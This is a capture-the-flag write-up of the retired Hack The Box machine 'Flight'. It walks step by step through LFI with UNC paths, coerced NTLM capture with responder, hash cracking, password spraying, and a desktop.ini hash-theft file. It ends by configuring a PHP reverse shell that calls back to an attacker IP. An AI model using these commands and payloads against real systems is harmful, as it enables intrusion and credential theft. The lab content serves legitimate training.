Flight
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Flight is a hard Windows box you do not escalate, you walk across. A second vhost (school.flight.htb) feeds theviewparameter into afile_get_contentsguarded by a blacklist that forbids..,filter, the backslash and little else. None of that is needed: a UNC path with forward slashes (//localhost/C$/...) reads the whole disk (LFI and path traversal), and pointing it at our IP makes the server authenticate to us and hand oversvc_apache's NTLMv2 (coerced authentication). That password falls tojohn, lists the domain users over RPC and, sprayed against all of them (password spraying), also works forS.Moon.S.Mooncan write to a share, and adesktop.inigenerated withntlm_theftreplays the trick against whoever browses that folder:c.bum.c.bumcan write to the share that backs the website, so a PHP goes there (file upload to RCE), and thesvc_apacheshell jumps toc.bumwith RunasCs. What is left is an IIS listening only on localhost on port 8000: a reverse tunnel withchisel(reverse port forwarding) brings it over, and the directory it serves is writable, so an.aspxgives a shell as the application pool. That pool holdsSeImpersonatePrivilege, which means GodPotato andSYSTEM(abusing SeImpersonatePrivilege). And since the box is the domain controller, what comes out ofSYSTEMis the machine account's hash (LSASS dumping with mimikatz) and with it the whole NTDS (dumping NTDS.DIT).
About the evidence. One single capture is published, the browser against the forwarded port: it is a web interface and section 12.7 of the standard says to keep it as an image, and it is also the one that justifies the.aspxpayload (Wappalyzer says IIS and ASP.NET, not Apache). Everything else is a terminal and goes as text. The last section of the note, the BloodHound CE install, is marked by its author as "Not For Public WriteUp" and is not published: not the commands, not the configuration file, not its admin password. That is also whybloodhoundis not among the tags. Four gaps the note does not preserve, stated instead of filled in: the request that triggersshell.phponce uploaded, the creation of theC:\Windows\Temp\privescdirectory, wheregodpotatonet4.execomes from on the attacking machine, andpenelopesessions 3, 4 and 5, which the numbering skips. There is also a mismatch flagged where it happens: thechiselclient is launched against port 4422 and its own output says it connects to 1234. The flags are complete because the box is retired.
Recon#
Initial scan#
The returning TTL points at the operating system: each OS starts it at a default value and each router drops it by one per hop. ttl=127 is 128 minus one hop, so Windows.
ping -c 1 10.129.228.12064 bytes from 10.129.228.120: icmp_seq=1 ttl=127 time=24.4 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.228.120 -oG scan... Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 49673/tcp open unknown syn-ack ttl 127 49674/tcp open unknown syn-ack ttl 127 49690/tcp open unknown syn-ack ttl 127 49719/tcp open unknown syn-ack ttl 127 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 26.44 seconds Raw packets sent: 131067 (5.767MB) | Rcvd: 33 (1.452KB)
That list is a textbook domain controller: 88 (Kerberos), 389 and 636 (LDAP), 3268 and 3269 (global catalog), 9389 (ADWS), 53 and 445. The only thing that does not fit the picture is 80, a web server on the very machine that runs the domain.
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49667,49673,49674,49690,49719 -sCV 10.129.228.120 -oN targetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-05 17:20 +0000 Nmap scan report for 10.129.228.120 Host is up (0.022s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) |_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 | http-methods: |_ Potentially risky methods: TRACE |_http-title: g0 Aviation 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-06 00:20:33Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49690/tcp open msrpc Microsoft Windows RPC 49719/tcp open msrpc Microsoft Windows RPC Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: 6h59m34s | smb2-time: | date: 2026-11-06T00:21:24 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 96.25 seconds
Three things to keep. The domain is flight.htb and the machine is called G0. The web server is Apache with PHP 8.1.1 on Windows, which means a XAMPP, a stack that on Windows installs into C:\xampp and serves from C:\xampp\htdocs. And the clock skew is almost seven hours: that does not matter now, but Kerberos tolerates no more than five minutes of difference and it will have to be fixed at the end of this writeup.
UDP sweep#
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.129.228.120 | grep -v 'no-response'Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-05 17:15 +0000 Initiating UDP Scan at 17:15 Scanning 10.129.228.120 [1000 ports] Discovered open port 53/udp on 10.129.228.120 Discovered open port 123/udp on 10.129.228.120 Discovered open port 88/udp on 10.129.228.120 Discovered open port 389/udp on 10.129.228.120 Completed UDP Scan at 17:15, 0.76s elapsed (1000 total ports) Nmap scan report for 10.129.228.120 Host is up, received user-set (0.044s latency). Scanned at 2026-11-05 17:15:41 UTC for 1s PORT STATE SERVICE REASON 53/udp open domain udp-response ttl 127 88/udp open kerberos-sec udp-response ttl 127 123/udp open ntp udp-response ttl 127 389/udp open ldap udp-response ttl 127 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds Raw packets sent: 3120 (146.905KB) | Rcvd: 6 (622B)
nmap -p53,88,123,389 -sUCV 10.129.228.120 -oN UDPtargetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-05 17:16 +0000 Nmap scan report for 10.129.228.120 Host is up (0.024s latency). PORT STATE SERVICE VERSION 53/udp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNS-SD: | _services | _dns-sd | _udp | local | NBTStat: |_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-06 00:15:42Z) 123/udp open ntp NTP v3 | ntp-info: |_ 389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name) ... Host script results: |_clock-skew: 6h59m37s
UDP adds nothing TCP had not already said: it is the same domain controller seen over the other protocol. It confirms the domain name and measures the clock skew again, now at 6h59m37s.
DNS - TCP 53: the NS name#
dig axfr flight.htb @10.129.228.120; <<>> DiG 9.20.26-1-Debian <<>> axfr flight.htb @10.129.228.120 ;; global options: +cmd ; Transfer failed.
The zone transfer is closed, which is normal. The name server query does answer, and throws in the machine's full name.
dig ns flight.htb @10.129.228.120; <<>> DiG 9.20.26-1-Debian <<>> ns flight.htb @10.129.228.120 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44496 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 3 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ;; QUESTION SECTION: ;flight.htb. IN NS ;; ANSWER SECTION: flight.htb. 3600 IN NS g0.flight.htb. ;; ADDITIONAL SECTION: g0.flight.htb. 3600 IN A 10.129.228.120 g0.flight.htb. 3600 IN AAAA dead:beef::1a2:9c0c:d59:717 ;; Query time: 23 msec ;; SERVER: 10.129.228.120#53(10.129.228.120) (UDP) ;; WHEN: Thu Nov 05 18:00:37 UTC 2026 ;; MSG SIZE rcvd: 100
The controller is g0.flight.htb. That name will be needed verbatim later, when a Kerberos ticket has to be requested: tickets are issued for a service name, not for an IP.
SMB - TCP 445: null yes, guest no#
nxc smb 10.129.228.120SMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True)
echo '10.129.228.120 flight.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.228.120 flight.htb
Null Auth:True says the server accepts a session with no credentials, but accepting the session is not granting permissions. The two classic ways to enumerate SMB without credentials each close on their own side.
nxc smb flight.htb -u guest -p '' --sharesSMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.120 445 G0 [-] flight.htb\guest: STATUS_ACCOUNT_DISABLED
nxc smb flight.htb -u '' -p '' --sharesSMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.120 445 G0 [+] flight.htb\: SMB 10.129.228.120 445 G0 [-] Error enumerating shares: STATUS_ACCESS_DENIED
The guest account is disabled and the null session gets in but cannot list shares. SMB is parked until there is a credential, and the only surface left open is port 80.
HTTP - TCP 80: g0 Aviation#
The source#
curl http://flight.htb/<!DOCTYPE html> <html lang="en"> <head> <title>g0 Aviation</title> <meta charset="utf-8"> <link rel="stylesheet" href="css/reset.css" type="text/css" media="all"> ... <div class="body2"> <div class="main"> <footer> <div class="footerlink"> <p class="lf">Copyright 2022 <a href="#">flight.htb</a> - All Rights Reserved</p> <p class="rf">Designed by <a href="https://twitter.com/Geiseric4" class="twitter">Geiseric</a> & <a href="https://twitter.com/Janit10043163" class="twitter">JDgodd</a></p> <div style="clear:both;"></div> </div> </footer> </div> </div> ...
It is an untouched commercial template: forms whose action is #, links to # and filler text about aviation. There is not a single parameter to receive nor a single PHP file linked. All it contributes is the domain name, which we already had.
Routes and resources#
dirsearch -u http://10.129.228.120/ --exclude-status=404,403,503 -t 200 2>/dev/null_|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 11460 Output File: /machines/htb/flight/nmap/reports/http_10.129.228.120/__26-11-05_17-33-26.txt Target: http://10.129.228.120/ [17:33:26] Starting: [17:33:27] 301 - 337B - /js -> http://10.129.228.120/js/ [17:33:43] 200 - 2KB - /cgi-bin/printenv.pl [17:33:46] 301 - 338B - /css -> http://10.129.228.120/css/ [17:33:52] 301 - 341B - /images -> http://10.129.228.120/images/ [17:33:52] 200 - 5KB - /images/ [17:33:54] 200 - 3KB - /js/ Task Completed
Three directories with open listing and the printenv.pl XAMPP ships as a sample in cgi-bin. That script prints the request's environment variables and is a checklist classic, but it leads nowhere here: it runs nothing we control. The vhost is another story.
A second name on the same server#
A web server decides which site to serve by looking at the Host header. Asking the same IP under different names can return different sites, so that header is what gets fuzzed (virtual host fuzzing). The filter is by the line count of the default response.
wfuzz -u http://flight.htb -H 'Host: FUZZ.flight.htb' -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh=7069 2>/dev/nulldefault default ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://flight.htb/ Total requests: 4990 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000625: 200 90 L 412 W 3996 Ch "school"
One hit: school.flight.htb. The 7069 in the filter is not a round number picked by eye, it is the exact size of the default response, and it will show up again later, when the directory backing the website is listed over SMB: index.html weighs exactly 7069 bytes.
echo '10.129.228.120 school.flight.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.228.120 school.flight.htb
Access: an LFI that cannot read UNC paths#
The view parameter#
The new site does have parameters. Its index.php takes a view, and the first reflex is to try a Windows LFI wordlist, filtering out the two response sizes it returns when it reads nothing.
ffuf -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Windows-adeadfed.txt -u 'http://school.flight.htb/index.php?view=FUZZ' -fs 1170,1102/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://school.flight.htb/index.php?view=FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Windows-adeadfed.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 1170,1102 ________________________________________________ //./C:/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 47ms] //./C:/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 47ms] //localhost/C$/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 66ms] //localhost/C$/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 66ms] //127.0.0.1/C$/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 55ms] //127.0.0.1/C$/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 57ms] //::1/C$/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 57ms] //::1/C$/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 57ms] C:/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 57ms] C:/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 52ms] :: Progress: [215/215] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
Ten hits and all of them are the same file read ten ways. What matters is not that the LFI exists, it is which forms get through: the absolute path with C:/, the //./ prefix and, above all, the UNC paths //localhost/C$/... and //127.0.0.1/C$/.... C$ is the administrative share Windows exposes by default for every drive, so a UNC path against yourself is another way of saying "the whole C drive". And none of the three carries a .. or a backslash.
The file's own blacklist#
The UNC path also serves to read the code behind it, which on a XAMPP lives at a known location.
curl 'http://school.flight.htb/index.php?view=//localhost/C$/xampp/htdocs/school.flight.htb/index.php'... <?php if (!isset($_GET['view']) || $_GET['view'] == "home.html") { ?> <div id="tagline"> <div> <h4>Cum Sociis Nat PENATIBUS</h4> <p>Aenean leo nunc, fringilla a viverra sit amet, varius quis magna. Nunc vel mollis purus.</p> </div> </div> <?php } ?> </div> <?php ini_set('display_errors', 0); error_reporting(E_ERROR | E_WARNING | E_PARSE); if(isset($_GET['view'])){ $file=$_GET['view']; if ((strpos(urldecode($_GET['view']),'..')!==false)|| (strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)|| (strpos(urldecode($_GET['view']),'\\')!==false)|| (strpos(urldecode($_GET['view']),'htaccess')!==false)|| (strpos(urldecode($_GET['view']),'.shtml')!==false) ){ echo "<h1>Suspicious Activity Blocked!"; echo "<h3>Incident will be reported</h3>\r\n"; }else{ echo file_get_contents($_GET['view']); } }else{ echo file_get_contents("C:\\xampp\\htdocs\\school.flight.htb\\home.html"); } ?> ...
There is the whole defence, and it shows the design flaw of every blacklist: it does not describe what is allowed, it enumerates what somebody thought of forbidding. It forbids .., the string filter (to close the php://filter wrappers), the backslash, htaccess and .shtml. It does not forbid an absolute path, it does not forbid the forward slash and, above all, it does not forbid file_get_contents receiving something that is not a local file. And on Windows that function accepts UNC paths, which is to say it accepts speaking SMB.
The same parameter, pointed back at us#
If the server is going to open whatever UNC path we hand it, hand it one that points at our machine. On opening it Windows authenticates by itself, with the account running the process, and whoever listens on the other end keeps the challenge and the response: that is coerced authentication, and responder is what collects it.
curl 'http://school.flight.htb/index.php?view=//10.10.15.120/test'...
responder -I tun0... [*] Version: Responder 3.2.2.0 [*] Author: Laurent Gaffie, <lgaffie@secorizon.com> [+] Listening for events... [SMB] NTLMv2-SSP Client : 10.129.228.120 [SMB] NTLMv2-SSP Username : flight\svc_apache [SMB] NTLMv2-SSP Hash : svc_apache::flight:b95b7e88d5370e70:C0B14EDD90B17183EAB50F5BA1BB088A:0101000000000000804F4E655D6DDD013FAC795BCED480630000000002000800520042004800570001001E00570049004E002D003500590034003300330051005200380039003000320004003400570049004E002D00350059003400330033005100520038003900300032002E0052004200480057002E004C004F00430041004C000300140052004200480057002E004C004F00430041004C000500140052004200480057002E004C004F00430041004C0007000800804F4E655D6DDD010600040002000000080030003000000000000000000000000030000054AC24DE3D9D00573E94158F87DFE8180851B7887180D0BE4E62BF1BE5A0EA5C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003100320030000000000000000000
The curl response is empty because there is no test file to read, and it does not matter: what proves the attack is not the HTTP response, it is that the target machine talked to us over SMB. The service user is flight\svc_apache, which matches the Apache on port 80.
The NTLMv2 falls to rockyou#
An NTLMv2 cannot be reused like an NT hash: it is no good for a pass-the-hash, because it is a response to one specific challenge that has already been used. It can be cracked (hash cracking). It gets saved to a file with nano, pasted exactly as responder printed it, and handed to john.
john --wordlist=/usr/share/wordlists/rockyou.txt hash... S@Ss!K@*t13 (svc_apache) ...
First credential: svc_apache / S@Ss!K@*t13.
Pivoting: from a service account to the whole domain#
The user list over RPC#
Any valid domain credential can ask the controller for its users. The pipeline only keeps the names: enumdomusers prints them in brackets next to their RID in hex, so what is between brackets gets extracted, whatever starts with 0x is dropped and the brackets are stripped.
rpcclient -U 'svc_apache%S@Ss!K@*t13' flight.htb -c enumdomusers | grep -oP '\[(.*?)\]' | grep -v 0x | tr -d '[]' > userlist.txtcat userlist.txt─────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── │ File: userlist.txt ─────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 1 │ Administrator 2 │ Guest 3 │ krbtgt 4 │ S.Moon 5 │ R.Cold 6 │ G.Lors 7 │ L.Kein 8 │ M.Gold 9 │ C.Bum 10 │ W.Walker 11 │ I.Francis 12 │ D.Truff 13 │ V.Stevens 14 │ svc_apache 15 │ O.Possum ─────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
The same password, against everyone#
Holding one password and one user list begs for trying one against the other (password spraying). It is the opposite of a dictionary attack: a single password against many accounts, which is how lockout from failed attempts is avoided. --continue-on-success keeps it from stopping at the first hit, because what matters here is how many reuse it.
nxc smb flight.htb -u userlist.txt -p 'S@Ss!K@*t13' --continue-on-successSMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.120 445 G0 [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13 SMB 10.129.228.120 445 G0 [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.129.228.120 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13 SMB 10.129.228.120 445 G0 [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
Two [+]: svc_apache itself and S.Moon. A service password reused by a person.
Coercion again: a desktop.ini on a share#
The shares S.Moon can write to#
nxc smb flight.htb -u S.Moon -p 'S@Ss!K@*t13' --sharesSMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.120 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13 SMB 10.129.228.120 445 G0 [*] Enumerated shares SMB 10.129.228.120 445 G0 Share Permissions Remark SMB 10.129.228.120 445 G0 ----- ----------- ------ SMB 10.129.228.120 445 G0 ADMIN$ Remote Admin SMB 10.129.228.120 445 G0 C$ Default share SMB 10.129.228.120 445 G0 IPC$ READ Remote IPC SMB 10.129.228.120 445 G0 NETLOGON READ Logon server share SMB 10.129.228.120 445 G0 Shared READ,WRITE SMB 10.129.228.120 445 G0 SYSVOL READ Logon server share SMB 10.129.228.120 445 G0 Users READ SMB 10.129.228.120 445 G0 Web READ
One share with READ,WRITE: Shared. Writing into a folder people walk through is, once again, a chance to coerce an authentication, this time out of whoever opens it in their explorer.
The failed attempts#
smbclient //flight.htb/Shared -U 'S.Moon%S@Ss!K@*t13'Try "help" to get a list of possible commands. smb: \> dir . D 0 Fri Nov 6 03:03:32 2026 .. D 0 Fri Nov 6 03:03:32 2026 5056511 blocks of size 4096. 1213625 blocks available smb: \> put hola.lnk NT_STATUS_ACCESS_DENIED opening remote file \hola.lnk smb: \> put hola putting file hola as \hola (0.1 kB/s) (average 0.1 kB/s) smb: \> exit
That pair of lines is the whole point of this section: hola.lnk is refused and hola, with no extension, goes through. It is not that writing is blocked, it is that there is an extension filter. The other two extensions of the family get tried.
smbclient //flight.htb/Shared -U 'S.Moon%S@Ss!K@*t13'Try "help" to get a list of possible commands. smb: \> put Passwords.scf NT_STATUS_ACCESS_DENIED opening remote file \Passwords.scf smb: \> exit
mv Passwords.scf Passwords.urlsmbclient //flight.htb/Shared -U 'S.Moon%S@Ss!K@*t13'Try "help" to get a list of possible commands. smb: \> put Passwords.url NT_STATUS_ACCESS_DENIED opening remote file \Passwords.url smb: \> exit
.lnk, .scf and .url are all blocked. Those are exactly the three everybody tries, so the defence was put there deliberately against this technique. What is not blocked is the fourth file on the list.
ntlm_theft and the desktop.ini#
Rather than writing the files by hand, the tool that generates all of them at once does the job.
git clone https://github.com/Greenwolf/ntlm_theft... Resolving deltas: 100% (90/90), done.
cd ntlm_theftpython3 ntlm_theft.py --generate all --server 10.10.15.120 --filename passwordsCreated: passwords/passwords.scf (BROWSE TO FOLDER) Created: passwords/passwords-(url).url (BROWSE TO FOLDER) Created: passwords/passwords-(icon).url (BROWSE TO FOLDER) Created: passwords/passwords.lnk (BROWSE TO FOLDER) Created: passwords/passwords.rtf (OPEN) Created: passwords/passwords-(stylesheet).xml (OPEN) Created: passwords/passwords-(fulldocx).xml (OPEN) Created: passwords/passwords.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE) Created: passwords/passwords-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE) Created: passwords/passwords-(includepicture).docx (OPEN) Created: passwords/passwords-(remotetemplate).docx (OPEN) Created: passwords/passwords-(frameset).docx (OPEN) Created: passwords/passwords-(externalcell).xlsx (OPEN) Created: passwords/passwords.wax (OPEN) Created: passwords/passwords.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY) Created: passwords/passwords.asx (OPEN) Created: passwords/passwords.jnlp (OPEN) Created: passwords/passwords.application (DOWNLOAD AND OPEN) Created: passwords/passwords.pdf (OPEN AND ALLOW) Created: passwords/zoom-attack-instructions.txt (PASTE TO CHAT) Created: passwords/passwords.library-ms (BROWSE TO FOLDER) Created: passwords/Autorun.inf (BROWSE TO FOLDER) Created: passwords/desktop.ini (BROWSE TO FOLDER) Created: passwords/passwords.theme (THEME TO INSTALL) Created: passwords/passwords.bat (BROWSE TO FOLDER) Generation Complete.
Of the twenty-five, the interesting ones are those marked BROWSE TO FOLDER: they fire just by opening the folder, with nobody clicking anything. And among them there is one with no extension of its own, because desktop.ini is the full name.
cd passwordscat desktop.ini─────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── │ File: desktop.ini ─────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 1 │ [.ShellClassInfo] 2 │ IconResource=\\10.10.15.120\aa ─────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Two lines. desktop.ini is the file Windows uses to store how a folder looks, and the explorer reads it just by displaying it. IconResource tells it where to fetch the icon from, and if that is a UNC path it goes looking over SMB and authenticates to ask for it. It is exactly what the LFI's view was doing, except that now the one authenticating is not the web server but whoever opens the folder.
smbclient //flight.htb/Shared -U 'S.Moon%S@Ss!K@*t13'Try "help" to get a list of possible commands. smb: \> put desktop.ini putting file desktop.ini as \desktop.ini (0.6 kB/s) (average 0.6 kB/s) smb: \> exit
It goes through. The extension was not on the blacklist.
sudo responder -I tun0... [SMB] NTLMv2-SSP Client : 10.129.228.120 [SMB] NTLMv2-SSP Username : flight.htb\c.bum [SMB] NTLMv2-SSP Hash : c.bum::flight.htb:6a8c3c9d760e0904:AA519E51F6807E787757E12938C0EBDF:0101000000000000804F4E655D6DDD013269E2FA7EF02A090000000002000800520042004800570001001E00570049004E002D003500590034003300330051005200380039003000320004003400570049004E002D00350059003400330033005100520038003900300032002E0052004200480057002E004C004F00430041004C000300140052004200480057002E004C004F00430041004C000500140052004200480057002E004C004F00430041004C0007000800804F4E655D6DDD010600040002000000080030003000000000000000000000000030000054AC24DE3D9D00573E94158F87DFE8180851B7887180D0BE4E62BF1BE5A0EA5C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003100320030000000000000000000
c.bum bites, listed in the user list as C.Bum.
echo 'c.bum::flight.htb:6a8c3c9d760e0904:AA519E51F6807E787757E12938C0EBDF:0101000000000000804F4E655D6DDD013269E2FA7EF02A090000000002000800520042004800570001001E00570049004E002D003500590034003300330051005200380039003000320004003400570049004E002D00350059003400330033005100520038003900300032002E0052004200480057002E004C004F00430041004C000300140052004200480057002E004C004F00430041004C000500140052004200480057002E004C004F00430041004C0007000800804F4E655D6DDD010600040002000000080030003000000000000000000000000030000054AC24DE3D9D00573E94158F87DFE8180851B7887180D0BE4E62BF1BE5A0EA5C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003100320030000000000000000000 ' > hashjohn --wordlist=/usr/share/wordlists/rockyou.txt hash... Tikkycoll_431012284 (c.bum) ...
Second credential: c.bum / Tikkycoll_431012284.
Shell as svc_apache#
The share behind the website#
nxc smb flight.htb -u C.bum -p 'Tikkycoll_431012284'SMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.120 445 G0 [+] flight.htb\C.bum:Tikkycoll_431012284
nxc smb flight.htb -u C.bum -p 'Tikkycoll_431012284' --sharesSMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.120 445 G0 [+] flight.htb\C.bum:Tikkycoll_431012284 SMB 10.129.228.120 445 G0 [*] Enumerated shares SMB 10.129.228.120 445 G0 Share Permissions Remark SMB 10.129.228.120 445 G0 ----- ----------- ------ SMB 10.129.228.120 445 G0 ADMIN$ Remote Admin SMB 10.129.228.120 445 G0 C$ Default share SMB 10.129.228.120 445 G0 IPC$ READ Remote IPC SMB 10.129.228.120 445 G0 NETLOGON READ Logon server share SMB 10.129.228.120 445 G0 Shared READ,WRITE SMB 10.129.228.120 445 G0 SYSVOL READ Logon server share SMB 10.129.228.120 445 G0 Users READ SMB 10.129.228.120 445 G0 Web READ,WRITE
The difference from S.Moon is a single line: Web goes from READ to READ,WRITE. And Web is the directory Apache serves both sites from, so writing a .php there is code execution (file upload to RCE).
Ivan Sincek's PHP#
The reverse shell is Ivan Sincek's PHP from revshells.com, which unlike pentestmonkey's classic one works on Windows (it detects the system and opens cmd.exe instead of /bin/sh). The only thing touched is the last two lines.
$sh = new Shell('10.10.15.120', 4443);
